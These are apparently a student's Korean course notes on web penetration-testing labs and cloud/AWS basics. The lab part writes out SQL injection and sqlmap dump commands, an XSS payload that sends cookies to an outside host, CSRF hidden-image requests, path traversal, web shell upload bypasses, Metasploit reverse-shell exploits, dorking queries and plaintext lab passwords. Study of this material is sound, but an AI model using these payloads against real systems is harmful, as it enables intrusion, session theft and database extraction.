320x100

https://padlet.com/jaeminsg/4-t06frufenmdt7edu

210.121.193.52 : 테스트 서버

http://192.168.1.29/ : 테스트 서버

http://210.121.193.53/gmshop/ : 테스트 하기 좋은 사이트

진단 필요한 툴

  • Set character encoding : 화면이 깨져 보일때 사용할 수 있는 크롬 확장자 → Korean EUCKR 선택
  • 드래그프리 : 사이트 복사하기 힘들때 사용하는 크롬 확장프로그램
  • powertoys : 캡처할때 캡처 안되는 그림파일 같은 것들을 캡쳐해서 붙여넣기 하면 텍스트로 붙여넣어짐
  • editcookies : 세션 값을 보는법 크롬 확장프로그램

XSS vs CSRF 주관식 (비교) 서술해야함

XSS

세션을 탈취, 악성코드 연결

Reflective XSS

  • 클릭을 유도

Stored XSS

  • 게시물을 보게 하는 것

 

세션 값을 보는법

크롬 확장앱 : editcookies

개발자모드 → 어플리케이션 → 쿠키를 통해 쿠키값을 확인 할 수 있고 수정 할 수 있다.

 

개발자모드 → 네트워크 들어가서 웹 페이지를 새로고침을 하면 시간적 요소도 볼 수 있다.

이것을 통해 어디서 지연이 생기는지 파악할 수 있다.

 

실습 4 SQLi 로 인증우회 (실습안함)

실습 4 SQLi 로 인증우회

  1. 관리자 페이지 찾기

구글검색 or Nikto or Nmap or OWASP-ZAP 등

nikto -h http://210.121.193.52 (취약점과 중요 경로) nikto -h http://210.121.193.52 -C all (관리자페이지 찾기위한 내장 플러그인 활용) nikto -h http://210.121.193.52 -fileext php,asp,html

nmap -p 80,443 210.121.193.52 nmap --script http-enum -p 80 210.121.193.52

210.121.193.52/admin/

SELECT admin_Id, admin_Pass from admin WHERE admin_ID = ' "& Request("admin_id") &" ' AND admin_Pass =' "& Request("admin_pass") &" '

' or '1'='1

SELECT admin_Id, admin_Pass from admin WHERE admin_ID = ' ' or '1'='1 ' AND admin_Pass =' ' or '1'='1 '

스크립트 문자열 우회방법

(1)

아래와 같이 겹쳐쓰면, script 하나가 필터링되고 나머지가 붙으면서 스크립트가 실행이 된다.

<input type="text" name="w" value=" "><script>alert(document.cookies);</script>-- " size="15">

<script scr= "http://210.121.193.53/a.js></script>

이 코드는 외부 JavaScript 파일을 불러오는 데 사용됩니다.

시나리오

    1. 브라우저에서 테스트1 / 1111 으로 로그인을 한다.
    2. 새로운 브라우저를 열어 위의 쿠키값을 개발자모드 → 응용프로그램 → 쿠키값에 붙여넣기
      • Metasploitable2
      • bee-box

실습 5 XSS

    1. 210.121.193.52

      쿠키를 attacker에게 전송한는 스크립트로 게시물 내용에 적어 넣으면 됩니다. 크기가 0인 이미지이므로 보이지는 않습니다.

      [공격 실습] <script src= "http://210.121.193.53/a.js"></script>

      <a.js> document.write("<iframe src='http://210.121.193.53/cookie.php?cookie="+document.cookie+"' width=0 height=0></iframe>");

CSRF 실습

210.121.193.52/login/member_modify.asp?re_url=&mem_pwd=1111&mem_email=test%40test.com&tel1=02&tel2=111&tel3=1111&hp1=011&hp2=111&hp3=1111&zip1=111&zip2=111&addr1=111&addr2=

<img src="http://210.121.193.52/login/members_modify_ok.asp?re_url=&mem_pwd=1111&mem_email=test%40test.com&tel1=02&tel2=111&tel3=1111&hp1=011&hp2=111&hp3=1111&zip1=111&zip2=111&addr1=111&addr2=" width=0 height=0>

(시나리오)

test2 가 스크립트 게시물을 읽을 경우 test1 의 정보를 불러와서 (주민번호를 제외한) 나머지 정보 수정할 때 적었던 내용들이 모두 test1 의 정보로 변경이 된다.

실습 6 CSRF

CAMEL 사이트 [정보수정] 에서

정보수정하는 URL 을 캡쳐

<img src="http://~" width=0 height=0>

으로 만들어서 게시물에 올림

게시물을 본 사람의 정보가 수정됨

이유?

update member set mem_pwd='"&mem_pwd&"', ....

where mem_id='"&session("id")&"'

현재 세션값의 id의 정보 수정하게 됨

실습 6 CSRF

POST 를 GET 방식으로 변환

210.121.193.52/login/members_modify_ok.asp?re_url=&mem_pwd=1111&mem_email=test%40test.com&tel1=02&tel2=111&tel3=1111&hp1=011&hp2=111&hp3=1111&zip1=111&zip2=111&addr1=111&addr2=

<img src="http://~ " width=0 height=0> 으로 안보이는 이미지로 변환

다음을 게시물에 입력 <img src="http://210.121.193.52/login/members_modify_ok.asp?re_url=&mem_pwd=1111&mem_email=test%40test.com&tel1=02&tel2=111&tel3=1111&hp1=011&hp2=111&hp3=1111&zip1=111&zip2=111&addr1=111&addr2=" width=0 height=0>


내 비밀번호는 안전할까?

https://www.security.org/how-secure-is-my-password/

숫자는 101010 ……. 총 자리 수 이런식으로 계산된다.


엔터프라이즈관리자 : DB를 관리하는 도구

SQL server _ server 그룹 _ local _ 데이터베이스 _ camel _ 테이블 → 모든사용자

http://210.121.193.52/[board/index.asp](http://192.168.145.136/board/index.asp)?cmd=view&gubun=gel&info_idx=3 and ascii(substring((select distinct top 1 table_name from information_schema.tables order by table_name asc), 1,1)) =97

실습7 Blind SQLi

실습7 blind SQL 인젝션

  1. 에러 유발 - 에러가 안나는 것은 필터링 처리 때문 info_idx=6 뒤에 ' 입력 > 에러발생
  2. 문자변수인지 숫자변수인지 확인 ~ info_idx=6 ' and '1'='1 문자로 인식할 경우 (에러 발생) ~ info_idx=6 and 1=1 숫자로 인식할 경우 (에러 안남)
  3. blind SQL 인젝션의 기본 조건은 참과 거짓에 따라 다른 반응을 보이는 것 ~ info_idx=6 and 1=1 참 (에러 안남) ~ info_idx=6 and 1=2 거짓 (에러 발생)
  4. ==> blind sql 인젝션 가능성 확인
  5. 아스키코드 ~ info_idx=6 and ascii('a') between 32 and 127
  6. substring 함수 substring('abc',1,1) 의미는 'abc' 단어의 첫번째 글자, 한 개 즉 a를 뜻함 ~ info_idx=6 and ascii(substring('abc',1,1)) = 97
  7. between a and b는 안해도 되지만 좀더 쉽게 하기 위함, 또는 '=' 필터링 시 사용 ~ info_idx=6 and ascii(substring('abc',1,1)) between 32 and 127
  8. 'abc' 대신 db 테이블을 가져와야 하므로 쿼리문 (select distinct top 1 table_name from information_schema.tables order by table_name asc) distinct top 1 : 맨위의 테이블 한개만 information_schema.tables : 모든 테이블명을 관리하고 있는 테이블 order by table_name asc : table_name 작은것 부터 순서대로 정렬
  9. 순서대로 정렬된 첫번째 테이블의 첫글자 가져오기 (예: admin 테이블)

http://210.121.193.52/board/index.asp?cmd=view&page=1&b_com=yes&gubun=gel&p_from=down&info_ref=6&info_idx=6 and ascii(substring((select distinct top 1 table_name from information_schema.tables order by table_name asc),1,1)) between 32 and 127

에러 안나는 쪽으로 숫자 범위를 좁혀간다. 첫번째 테이블의 첫번째 글자 = a

  1. ascii( ~, 1,1)을 ascii( ~, 2,1) 로 바꾸어서 두번째 글자를 찾는다. 첫번째 테이블의 두번째 글자 = a
  2. 세번째~ 글자를 모두 찾는다. 테이블 명 = admin
  3. 첫번째 테이블의 첫번째 컬럼의 첫글자 찾기 http://~&info_idx=1 and ascii(substring((select distinct top 1 column_name from information_schema.columns where table_name = '첫번째 테이블명' order by column_name asc), 1,1)) between 97 and 126

information_schema.columns : 모든 컬럼명을 관리하고 있는 테이블

  1. 첫번째 테이블의 첫번째 컬럼명 나머지 글자 찾기
  2. 첫번째 테이블의 두번째 컬럼명 나머지 글자 찾기 http://~&info_idx=1 and ascii(substring((select distinct top 1 column_name from information_schema.columns where table_name = '첫번째 테이블명' and column_name not in (select distinct top 1 column_name from information_schema.columns order by column_name asc) order by column_name asc), 1,1)) between 97 and 126
  3. 번째 테이블의 세번째 컬럼명 나머지 글자 찾기 http://~&info_idx=1 and ascii(substring((select distinct top 1 column_name from information_schema.columns where table_name = '첫번째 테이블명' and column_name not in (select distinct top 2 column_name from information_schema.columns order by column_name asc) order by column_name asc), 1,1)) between 97 and 127

not in (~ top 2 ~) 부분만 변경

  1. 찾은 테이블명과 컬럼명으로 데이터 첫글자 확인 http://~&info_idx=1 and ascii(substring((select distinct top 1 컬럼명 from 테이블명), 1,1)) between 97 and 122

SQL map

쿠키를 가져와서 URL에 삽입한다.

sqlmap -u "http://192.168.1.23///board/index.asp?cmd=view&page=1&info_ref=6&b_com=yes&gubun=gel&p_from=down&info_idx=6" --cookie="ASPSESSIONIDSQCBCCAQ=MFMLLLJDBJAFJNAJMBNEMKBI" --current-db

실습 8 SQL map

실습8 SQL map

kali > sqlmap

  1. 취약한 부분 확인 sqlmap -u "http://192.168.145.136/board/index.asp?cmd=view&page=1&info_ref=6&b_com=yes&gubun=gel&p_from=down&info_idx=6" --cookie="ASPSESSIONIDSQCBCCAQ=MFMLLLJDBJAFJNAJMBNEMKBI"
  2. db 확인 sqlmap -u "http://192.168.145.136/board/index.asp?cmd=view&page=1&info_ref=6&b_com=yes&gubun=gel&p_from=down&info_idx=6" --cookie="ASPSESSIONIDSQCBCCAQ=MFMLLLJDBJAFJNAJMBNEMKBI" --current-db
  3. table명 확인 sqlmap -u "http://192.168.145.136/board/index.asp?cmd=view&page=1&info_ref=6&b_com=yes&gubun=gel&p_from=down&info_idx=6" --cookie="ASPSESSIONIDSQCBCCAQ=MFMLLLJDBJAFJNAJMBNEMKBI" -D camel -tables
  4. data 확인 sqlmap -u "http://192.168.145.136/board/index.asp?cmd=view&page=1&info_ref=6&b_com=yes&gubun=gel&p_from=down&info_idx=6" --cookie="ASPSESSIONIDSQCBCCAQ=MFMLLLJDBJAFJNAJMBNEMKBI" -D camel -T member -dump

우회 방법

php;.jpg

php.x

asp.kr

inc

웹쉘 사용

http://210.121.193.52/board/upload

이러한 방식으로 웹쉘을 실행해서 내가 원하는 작업을 할 수 있다.

실습 10 파일다운로드

웹쉘 파일 압축 플어서 업로드

실습 11 Metasploit

kali 192.168.145.129 camel 192.168.145.136

nmap -sV 192.168.145.136

nmap --script vuln 192.168.145.136

smb-vuln-ms17-010: | VULNERABLE: | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) | State: VULNERABLE | IDs: CVE:CVE-2017-0143 | Risk factor: HIGH | A critical remote code execution vulnerability exists in Microsoft SMBv1 | servers (ms17-010).

msfconsole msf6 > search ms08-067 msf6 > use exploit/windows/smb/ms08_067_netapi msf6 exploit(windows/smb/ms08_067_netapi) > show options msf6 exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.145.136 msf6 exploit(windows/smb/ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp run

back msf6 > use exploit/windows/smb/ms17_010_psexec msf6 exploit(windows/smb/ms17_010_psexec) > show options msf6 exploit(windows/smb/ms17_010_psexec) > set RHOST 192.168.145.136 msf6 exploit(windows/smb/ms17_010_psexec) > set PAYLOAD windows/meterpreter/reverse_tcp msf6 exploit(windows/smb/ms17_010_psexec) > run meterpreter > shell

300x250
320x100

주관식

  1. request 메소드 중에 get 과 post 웹서버 로그에서 어떤식으로 되는지

get 변수 파라미터가 url 에 포함되어 있어 메인 로그에 기록됨

post 변수 파라미터가 url상에 보이지 않고 바디에 보여서 웹로그에 파라미터 부분이 보이지 않음 / 해커입장에서는 post 방식을 사용함

  1. xss , csrf 방식이 뭐가 다른지

xss 는 클라이언트에서 실행이 된다. csrf 는 서버에서 실행이 된다.

  1. db 쿼리값을 조작해서 시스템에 접근하는 공격을 뭐라고 부를까요

퀴리나 db 가 들어가면 SQL injection 이다.

  1. 취약점 분석 단계 , 정보수집단계부터 시작해서 취약점분석단계 → 공격 침투단계 → 전의단계 설명한 페이지 확인

  1. 모의해킹 공격을 할때 웹방화벽에서 탐지가 잘 안되는 공격들이 무엇인가

패턴기반은 탐지가 되지 않는다. 공격 중에 패턴으로 탐지하기 어려운 공격들이 있음 (아래참조)

  • 파일업로드 공격(파일 내용을 다 까보지 못하니까, 확장자는 볼 수있음),
  • URL 변수 공격(정상적인 공격으로 판단하지 때문에 웹 방화벽에서 탐지 하기 힘듬),
  • 제로데이공격(패턴매칭 방식의 웹 방화벽 (알려진 패턴을 가지고 차단하기떄문에) 취약점은 발견은 됐지만, 패치가 안되어 웹방화벽에서 패턴을 패치하기 전 단계이기 떄문에 막기 힘들다.

 

 

https://padlet.com/jaeminsg/4-t06frufenmdt7edu

https://www.findip.kr/#google_vignette 공인아이피확인 사이트

https://후이즈검색.한국/

https://dencode.com/

210.121.193.52 : 테스트 서버

administrator / secul@b! (서버)

구내 네트워크 파악

  • 윈도우 pc

ipconfig

ipconfig/all

http://www.findip.kr/

http://whois.kisa.or.kr/kor/main.jsp

https://uic.io/ko/mac/ : 어떤 장비인지를 확인할떄 벤더가 어디있는지 확인

nmap -sV [IP]

nmap -A [IP]

nmap -Pn -A -sS [IP]

  • kali linux

ifconfig : 내 아이피 찾는 것

hostname -I :리눅스 시스템에서 호스트의 IP 주소를 출력

netstat -r : 현재 시스템의 라우팅 테이블을 표시

netstat -an : 현재 시스템의 네트워크 연결 상태를 표시

ip r l : 리눅스 또는 유닉스 시스템에서 라우팅 테이블을 확인

curl -4  icanhazip.com : 도메인이름을 ip로 바꿔줌 cmd 명령에서는 nslookup www.naver.com

nmap --script smb-enum-shares [IP] : 폴더 공유하고 있는거 찾을 때

nmap --script smb-os-discovery [IP] : smb 사용하고 있는 걸 찾을 때

nmap -sV [IP]

theHarvester -d ABC.com -b google


  • 모의해킹 : 취약점을 통해 악성코드를 심거나, DB 정보를 가져오는 작업까지 행함
  • 취약점 진단 : 취약점이있다는 것만 식별하고 보고서 작성

해킹 일련의 과정

  1. 정찰
  2. 스캐닝 및 취약점 분석
  3. 침투
  4. 권한상승
  5. 백도어 관리
  6. 흔적지우기

타겟 스코핑

  • 타켓 네트워크 환경의 스코프(범위)를 관찰, 이해

정보 수집

  • 구글, 포럼, 게시판, 뉴스그룹, 기사, 블로그, 소셜네트워크 등 인터넷 리소스를 이용

타겟발견

  • 사용중인 기술, 네트워크 구성장비, 운영중인 서비스

타겟 탐색

  • 타겟시스템의 열린 포트 검색

취약점 매핑

  • 포트와 서비스 정보를 이용해 취약점을 찾고 분석

장악 유지

  • 장악을 유지하여 시연할 때 침투 테스트 과정을 다시 수행하지 않아도 되므로 시간, 비용 절감
  • 프로토콜, 프록시, 단대단 연결방식 등을 이용하는 터널링 기술을 사용해서 필요한 기간 동안 숨어 있을 수 있다.

문서화와보고

  • 모의해킹을 하면서 과정들을 캡쳐해서 문서화 시킨다. (문서화 시킬떄는 그걸 보고 따라 할 수 있을 정도로 만들어야한다)
  • 마지막 단계로 발견, 검증, 익스플로잇한 취약점의 발표, 문서화, 보고를 해야한다.

www 를 제외하고 검색해야지 전체 URL을 볼 수 있다.

SITE : 구글 검색에서 특정 도메인이나 웹사이트 내에서 정보나 페이지를 검색할 때 사용하는 검색 연산자

INURL : 구글 검색에서 특정 URL 패턴을 찾기 위해 사용하는 검색 연산자

FILETYPE 구분해서 적어야함 ex) xls,doc,docx,php …

INTEXT : 사이트 안에 텍스트로 되어 있는 것 중 검색

NUMRANGE : 안에 있는 숫자들을 검색할떄 사용

구글 검색을 통한 예시

  • filetype:xls 학번

https://www.exploit-db.com/google-hacking-database

특정 파일 찾기

filetype:xls 학번

index.of ws_ftp.log or filetype:log버전 확인

intitle:index.of "server at"

filetype:xls username password email

사내 인트라넷 검색

intitle: intranet inurl:intranet +intext:"human resources"

사용 예)

site:www.ABC.com

site:ABC.com                         : 고객사 사이트를 전체적으로 검색

site:ABC.com intitle:index.of   : 디렉토리리스팅 페이지 검색

site:ABC.com intitle:login        : 로그인 페이지 검색

site:ABC.com inrul:/admin       : 관리자 페이지 검색

site:ABC.com intitle:관리자       : 관리자 페이지 검색

site:ABC.com filetype:xls         : 파일검색

site:ABC.com -site:m.ABC.com

www.ABC.com/robots.txt

NMAP

nmap -sV 210.121.193.53

nmap -O 210.121.193.53

nmap -A 210.121.193.53

nmap -v --script vuln 210.121.193.53

nmap -Pn -A -sS 210.121.193.52

Pn = 보통 ICMP를통해 포트가 살아있는지 확인을 하는데 ping 을 안치고 바로 포트로 가겠다.

-O : 운영체제OS가 무엇인지 보여줌

-S : 서비스 버전을 보여줌

-A : -O + -S (이 서버 운영체제를 알려주고, 서비스 버전까지 보여주는 옵션)

-sS : 스캔을 할 떄 TCP 3way handshake 전체 연결을 맺는게 보통인데, sS 옵션은 스텔스모드라고 해서 중간에 끊어서 서버에서 모르게 하는 것. 세션을 맺어버리면 보안장비에서 알 수 있기 떄문에 스텔스 모드로 사용하기 위해 -sS 옵션을 사용한다.

-v : 과정이 안나와서 잘 돌아가는지 모를 때 사용

nmap —script vuln 210.121.193.52



칼리리눅스

pentest / secul@b!

sudo su -

secul@b!

웹 방화벽 유무

nmap NSE (Nmap Scripting Engine)

 Categories

  • default : 타겟 도메인의 전반적인 항목에 대해 스캔 수행
  • safe : 안전한 항목에 대해 스캔 수행
  • auth : 인증과 관련된 스크립트, anonymous ftp 스캔 등
  • discovery : 대상에 대한 깊이 있는 정보를 찾는 스크립트들
  • external : 외부의 자원(resources)을 활용한 스크립트들
  • intrusive : 대상에 대한 공격 시도를 하는 스크립트들
  • malware : 백도어나 악성코드(malware) 점검과 관련된 스크립트들
  • Vuln : 알려진 취약성을 점검하는 스크립트들

nessus

  • 취약성 점검 프로그램
  • 다양한 형태로 리포트를 제공하며 취약점에 대한 빠른 업데이트가 가능한 프로그램
  • Essential 버전
  • 무료
  • 16개 IP 스캔가능
  • 컴플라이언스 체크와 감사는 사용불가

CVE (Common Vulnerabilities and Exposure)  소프트웨어의 보안 취약점을 가리키는 표기법  CVE-2014-NNNN...N  CVE-해당연도-취약점번호

▣ CVSS (Common Vulnerability Scoring System, 취약점 점수 시스템) 취약점의 심각도를 판단하는 기준

HTTP Request  웹 클라이언트가 웹 서버에게 자원을 요청하는 것  HTTP Request에 포함된 상세 정보

GET 과 POST의 차이

GET : URL 주소에 쭉 들어가게 적어서 웹로그만 보면 노출이 된다. → head 에 들어감

POST : 홈을 만들어서 그 안에 넣게 하는 방식, 웹로그만 보면 노출이 되지 않는다→ 변수가 Body 부분에 담김

PUT : put을 넣고 내용을 집어넣으면 그 서버에 들어가서 절대 사용 x

DELETE: 웹서버에 있는 자료를 삭제 할 수 있는 메소드

HTTP Response

200 OK : 서버 자원이 있다.

403 Forbidden : 서버 자원이 있는데, 금지 시킴

404 Not Found : 서버 자원이 없다.

Session

  • 어떤 일이 시작되는 시점부터 끝날 때까지를 의미, 네트워크에서는 두 대의 시스템간의 활성화된 접속을 의미

세션 : 서버에 저장

쿠키 : PC에 저장

결국, 세션과 쿠키는 똑같은 값을 가진다.`

XSS

  • 보는 사람이 게시물을 클릭하는 순간 스크립트가 실행 ( 쿠키정보를 팝업으로 띄울 수 있고, 밖으로 보낼 수도 있다.)
  • 공격에 성공하면 사이트에 접속한 사용자는 삽입된 코드를 실행하게 되며, 의도치 않은 행동을 수행시키거나 쿠키나 세션 토큰 등의 민감한 정보를 탈취

SQL injection

  • select mem_id from member; union select dong_juso from juso;

결과 예시)

test1

test2

test3

대치동

영화동

select dong from member where dong_name = ‘대치동’;

대치동’ 이런식으로 ‘ 를 하나 더 찍어서 검색을 하면

select dong from member where dong_name = ‘대치동’’ ; 으로

‘으로 에러 메시지가 나오게 되면, SQL injection 취약점을 발견할 수 있는 가능성이 높아진다.

아래와 같이 세밀론으로 문장을 끝내본다.

대치동’;

  1. where dong_name = ‘대치동’
  2. where dong_name = ‘대치동’’ (에러)
  3. where dong_name = ‘대치동’;—’ ( — 뒤를 무시하라는 뜻 , 에러안남)
  4. 대치동’ union select nul from information_schema.table ;—
  5. 글자 제한이 걸려있어서 필터링이 걸려있음 → 버퍼 슈트

  1. 대치동’ union select null,null,null,null,null,null from information_schema.table ;— (통과)
  2. 문자열에 숫자를 넣어 공백을 확인한다
  3. 대치동’ union select ‘1’,’2’,’3’,’4’,’5’,’6’ from information_schema.table ;—
  4. 대치동’ union select ‘1’,table_name,’3’,’4’,’5’,’6’ from information_schema.table ;—
  5. 대치동’ union select ‘1’,column_name,’3’,’4’,’5’,’6’ from information_schema.columns where table_name = ‘admin’ ;—
  6. 대치동’ union select ‘1’,admin_id,admin_pass,’4’,’5’,’6’ from admin ;—
  7. 어드민 아이디, 비밀번호가 보임
  8. 스캔했을때 어드민 페이지가 있는 것을 확인 http://192.168.145.136/admin
  9. 어드민 아이디, 비밀번호 넣고 접속

 

 

 

실습 1 회원가입 시 js 우회

실습 1

burp suite 설치

proxy tool 로서 request와 response를 중간에서 가로채서 보거나

수정할 수 있게 해주는 tool.. paros와 burp suite가 대표적이고 이외에도 몇개 더 있다.

210.121.193.52 camel

회원가입 - 주민등록번호 입력 우회

burp > porxy > intecept responses 에 체크 - close

open browser > 210.121.193.52 > intercept is on

회원가입 -burpsuite 에서 function jumin1(){ ~ document.form.submit();

사이를 삭제 > forward

이름대충 > 주민등록 번호 대충 > 회원가입 > intercept off

실습2 테스트 계정 찾기

실습 2

test 계정과 pw 찾기

아이디 : [ ] 중복체크기능 활용

일반계정 : test, test1, test2, ... test11,..... test123,...

관리자계정 : root, admin, manager,....

찾았으면 로그인 창으로 가서 패스워드 찾기

id와 동일, 1, 11, 111, ... 123, ... 1234, 0000 등

가능하면 2개 이상 찾기

실습 3 Union SQL injection

  1. union SQL Injection
  1. 문자 변수인지 숫자 변수인지 확인 대치동 대치동' 대치동';-- 대치동' union select 1,1,1,1,1 ;--
  2. 필드 길이제한 확인 burpsuite 에서 limit 해제 proxy > proxy setting > Response modification rules

Remove input field length limits

대치동' union select null,null,null,null from information_schema.tables;--

  1. 컬럼 갯수 맞추기
    • 갯수 안맞으면 에러
  2. 숫자인지 문자인지 맞추기 null 을 1 (숫자) 또는 '1' 로 바꿔서 컬럼의 type 맞추기
  3. 적당한 필드에 table_name 넣어서 확인하기
  4. 찾은 table_name 의 column_name 확인하기
  5. 관리자 table 에서 관리자 id와 pw 확인하기

실습 3 Union SQL injection

대치동

대치동'

대치동';

대치동';--

proxy setting > remove input field length limit 체크

대치동' union select '1','2','3','4','5','6' from information_schema.tables ;--

대치동' union select '1',table_name,'3','4','5','6' from information_schema.tables;--

대치동' union select '1',column_name,'3','4','5','6' from information_schema.columns

where table_name = 'admin' ;--

대치동' union select '1',admin_id,admin_pass,'4','5','6' from admin;--

select admin_id, admin_pw from admin where admin_id = ‘test ‘ or ‘1’=’1’;

‘ or ‘1’=’1

다운로드 취약점

http://210.121.193.52/board/download.asp?file_name=/board/download.asp

http://210.121.193.52/board/download.asp?file_name=../board/download.asp

http://210.121.193.52/board/download.asp?file_name=../../board/download.asp

http://210.121.193.52/board/download.asp?file_name=../../board/index.asp (DB연결정보)

코드는 추후 사용할 수 있기때문에 메모장에 복사해 놓는다.

http://210.121.193.52/board/download.asp?file_name=../../board/dns.asp

300x250
320x100

책추천 : AWS구조와서비스

  1. 제로트러스트 아키텍처 보안에 특징
  2. 실습 → s3의 기능 서비스 이름 정도 어떤건지 구별 (버츄얼머신, 스토리지 등)
  3. 클라우드 네이티브라면 어떤 조건을 갖춰야하
  4. 시스템 공유를 하면서 효율성을 증대시키는게 클라우드인데, 가상머신에 특성들, 어떤 걸 기반으로 만들어지고 작동되는지
  5. 패스워드가 깨림찍해서 뭐해서다른거


클라우드패러다임

클라우드 네이티브

클라우드 기반 제로트러스트

복원력, 강인성, 안전성/보안성/안정성

Dirty-Cow

3. 클라우드 컴퓨팅을 이루는 핵심기술과 기술적 진보

TYPE -1 Hypervisor

TYPE -2 Hypervisor

Binary translation → VT

VT 기술의 출현으로 Binary translation에 따른 오버헤드보다 적은 오버헤드를 양산할 것이라 예상했지만, 현실은 그렇지 못했다!

  • VT Hardware 기술 → Trap & Emulation
  • Trap & Emulation → CPU cache, TLB, Branch Prediction Table Pollution 유발

Technical Issues in BT → VT

  • Binary Translation은 Context Switching을 유발하지 않기 때문에 VT보다 성능이 오히려 더 좋을 떄도 있었음
  • Type-1 Hypervisor는 Binary Translation을 성능 향상을 위해 일부 도입

Para-Virtualization (가상머신위에 잘 돌아갈 수 있게 튜닝해주는것)

  • Motivation
    • Type-1, Type-2 Hypervisor는 Guest OS의 도움 없이, 가상화를 위해 온 몸을 바침
  • Main Concept of Para-virtualization
    • Sensitive 명령어를 의도적으로 제거시간 OS를만들어보자 → Paravirtualized OS
      • 하드웨어 명령을 에뮬레이션하는 것은 즐겁지 않고 시간이 많이 걸린다.
      • Guest OS의 소스를 수정하여 Hypervisor에게 요청하자! → Hypervisor Call

True Virtualization vs Para-virtualization

  • True Virtualization
    • Sensitive 명령어 → Tram & Emulation → Return
  • Para-virtualization
    • Sensitive 명령어 없음
      • ex) I/O or 주요 내부 레지스터 변경 → Hypervisor Call 수행

Overall operation of container-based system

Docker(컨테이너) → packaging 기술

bt → type 1 → type 2- > para →

docker는 개발과 소통을 쉽게 만들었고

컨테이너의 벽

그 벽들은 cgroupsname space 가 벽을 얇게 만듬

근데 리눅스에서 제공되는거기때문에 리눅스에 취약점이 있다면 벽도 안전하지 않을 수 있다.

4. 클라우드에서 발생한 사건, 사고 분석

MITRE

D3.js

5. 사례분석 : Advancing Towards Secure Cloud

  1. 사이버훈련 - 추후에 클라우드 기반 훈련을 할 것이다.
  2. 자료를 숨겨야 하는것 뿐 아니라 인프라 자체가 중요해질거다
  3. moving target defense
300x250
320x100

주관식

클라우드 서비스의 형태는 어떤 것인가 IaaS , PaaS, SaaS

클라우드 컴퓨팅은 무엇인가

클라우드란 무엇인가

클라우드 서비스 보안강화를 위해 루트 계정에 추가하는 기능이 무엇인가

탈취하기 쉬워서 msa로 보안을 강화한다

 

 

.

Cloud Service 예시

  • 개발자나 벤더는 비즈니스나 업무에 필요한 Applcation을 개발
  • 개발 된 Application은 AWS 인프라 위에 배포하여 서비스를 제공함

On-Premise vs Cloud

  • On premise : 서비스에 필요한 모든 리소스를 기업안에서 관리 → 초기투자 비용 높음
  • Cloud : 컴퓨터 리소스를 빌려주는 기업과 계약을 맺고 필요한 만큼만 리소스를 대여 → 초기투자 비용 낮음

IaaS, PaaaS, SaaS

  • Infrastructure as a Service(IaaS) : 서버/네트워크/스토리지 등의 리소스 제공
  • Platform as a Service(PaaS) : 애플리케이션이 작동하는데 필요한 플랫폼 제공
  • Software as a Service(SaaS) : 클라우드 제공자가 전용 애플리케이션까지 제공

Amazon Web Service (AWS)

  • 최초의 AW는 IaaS와 같은 시간제 임대 서버 제공
  • 이후 서버리스 시스템 등의 서비스를 제공하였음
  • 최근에는 AI, 머신러닝 분야 등에서 활용 가능한 서비스 제공

카테고리 서비스 설명

컴퓨팅 EC2 리눅스/윈도우 등을 운영 할 수 있는 서버
보안, 자격 증명 및 규정 IAM (Identity and Access Management) AWS 리소스 접근에 대한 인증, 접근 허가 기능
네트워킹 및 컨텐츠 VPC 가상 네트워크 인프라스트럭처 구축

 

인증과 접근권한

  • 인증 : 사용자의 계쩡에 대한 신원을 검증
  • 접근권한 : 사용자 별 기능에 대한 접근 권한을 관리하고 허가

사용자 권한

  • 루트 사용자 : AWS의 모든 리소스에 접근할 수 있는 계정
  • 일반 사용자(IAM) : 루트사용자에 의해 부여 받은 권한만을 사용할 수 있는 계정

루트 사용자 보안 강화하는 법

  • MFA : 비밀번호 외에 추가적인 인증 수행
  • 대표적인 예시로 은행에서 사용하는 OTP가 있음

 

 

2. 안전한 클라우드 네트워크 환경 구축

Virtual Private Cloud (VPC)

가상의 네트워크 환경 이해

  • AWS에서 가상의 리소스를 관리 할 수 있는 영역

VPC : 가상의 서버, DB, 네트워크 장비 등 다양한 장치를 연결 및 관리할 수 있는 공간

  • 일반적으로 VPC는 네트워크 기능을 갖은 에뮬레이션 소프트웨어를 의미
  • 즉, VPC를 통해 물리적인 기기를 이용하지 않고 가상의 네트워크 환경을 구축할 수 있음

VPC 설정 항목

  • IPv4 CIDR : VPC에서 사용하는 프라이빗 네트워크용 IP주소의 범위
  • VPC의 서브넷 마스크는 최대 16비트를 지원함
    • 65,536개의 IP 주소만 이용 할 수 있도록 하기 위함
    • 16비트 : 192.168.0.0 ~ 192.168.255.25

서브넷

  • VPC 안에는 하나이상의 서브넷을 만들어야 함
    • Subnet : VPC의 IP 주소 범위를 나누는 단위
  • IP 주소 범위를 나누는 대표적인 이유는 역할과 기기를 분리하기 위함
    • 역할 분리 : 외부에 공개하는 리소스 여부 구별
    • 기기 분리 : 클라우드 서비스 안에서 물리적인 이중화 수행 (

역할분리

  • 시스템을 구축할 때 다양한 리소스를 조합하게 됨
  • ex)로드 밸런스(아마존.com 같이 외부에 공개되어있는 것) 는 외부공개가 목적이기 떄문에 외부에서 접근 해야함
  • 하지만, DB 서버의 경우 VPC 내부 서버에서만 접근해야 하므로 외부에 공개되면 안됨

기기 분리

  • 내결함성을 높이기 위해 기기분리가 필요함
    • 내결함성 : 하드웨어 고장, 서버 장애 등 예측할 수 없는 장애가 발생하였을 때 서비스 정지되지 않도록 유지하는 역할
  • 클라우드에는 가용 영역이라는 개념이 존재하기 떄문에, 가용 영역을 다르게 설정하여 독립성을 보장 할 수 있다.
    • 가용영역별로 서브넷을 제공하여 내결함성을 보장할 수 있음

하나의 가용영역 안에 Public, Private 서브넷을 생성하여 보안성 강화

서브넷의 CIDR 설계

IPv4 CIDR 설계 방법

  • 서브넷은 한번 생성하고 나서 해당 서브넷을 이용하는 CIDR 블록을 변경 할 수 없음
  • 서브넷 설계 시 2가지 고려사항
    • 생성할 서브넷의 개수
    • 서브넷 안에 생성할 리소스의 수

VPC 라는 방안에 16비트를 만들고

서브넷을 분리하기 위해 4비트 사용하고

16개의 서브넷 마다 리소스 12비트 4096개를 만들 수 있다 → 4091 (AWS 에서 5개를 사용함)

 

실습에서는 공개용 / 비공개로 나눠서 만들 예정

 

 

 

 

인터넷 게이트웨이

  • 인터넷 게이트웨이는 VPC 에서 생성된 네트워크와 인터넷 사이의 통신을 가능하게 해줌
  • 인터넷 게이트웨이가 없다면 인터넷과 VPC 안에 리소스는 통신할 수 없음

NAT(Network Address Translation) 게이트웨이

